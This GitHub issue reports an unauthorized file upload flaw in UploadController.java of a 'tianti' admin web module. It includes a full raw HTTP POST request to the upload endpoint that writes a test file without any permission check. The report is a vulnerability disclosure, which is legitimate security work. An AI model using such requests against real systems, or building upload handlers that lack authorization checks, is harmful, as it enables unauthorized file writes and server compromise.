Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[vulnerability] Unauthorized file upload Vulnerability in UploadController.java #38

Open
x0blank opened this issue Nov 19, 2024 · 1 comment

Comments

@x0blank
Copy link

x0blank commented Nov 19, 2024

UploadController.java Unauthorized file upload
1
No permission verification
`POST /tianti_module_admin_war/upload/ajax/upload_file HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 182
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0IMnvEkpJQueVY9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryr0IMnvEkpJQueVY9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html

1111
------WebKitFormBoundaryr0IMnvEkpJQueVY9--
`
2

Successfully unauthorized write to file

@gg110
Copy link

gg110 commented Nov 19, 2024 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants